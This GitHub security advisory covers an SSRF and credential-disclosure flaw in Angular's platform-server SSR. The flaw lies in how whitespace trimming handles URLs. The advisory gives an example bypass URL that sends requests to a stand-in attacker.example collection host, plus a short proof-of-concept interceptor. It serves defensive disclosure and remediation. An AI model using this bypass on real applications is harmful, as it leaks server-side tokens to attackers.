GHSA-f6mr-pjwc-34m4 Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

• npm @angular/platform-server: >= 22.0.0, < 22.1.4 → fixed in 22.1.4 • npm @angular/platform-server: >= 21.0.0, < 21.2.22 → fixed in 21.2.22 • npm @angular/platform-server: >= 20.0.0, < 20.3.30 → fixed in 20.3.30 • npm @angular/platform-server: <= 19.2.25 (no fix yet)

Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials. Technical Description When applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks. However, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request. Impact & Reachability • Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. • Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request. Proof of Concept: ```ts // Interceptor performing same-origin validation const trustedOrigin = new URL('http://localhost:4000/'); const target = new URL(req.urlWithParams, trustedOrigin); if (target.origin !== trustedOrigin.origin) { throw new Error('Cross-origin request blocked'); } // Request passes validation, server attaches sensitive credential: const authenticatedReq = req.clone({ headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'), }); // @angular/platform-server previously trimmed the URL, converting it into // //attacker.example/collect and routing the credential to the attacker. ``` Workarounds • Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as `\u00A0`) before performing origin checks or passing them to `HttpClient`. • Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.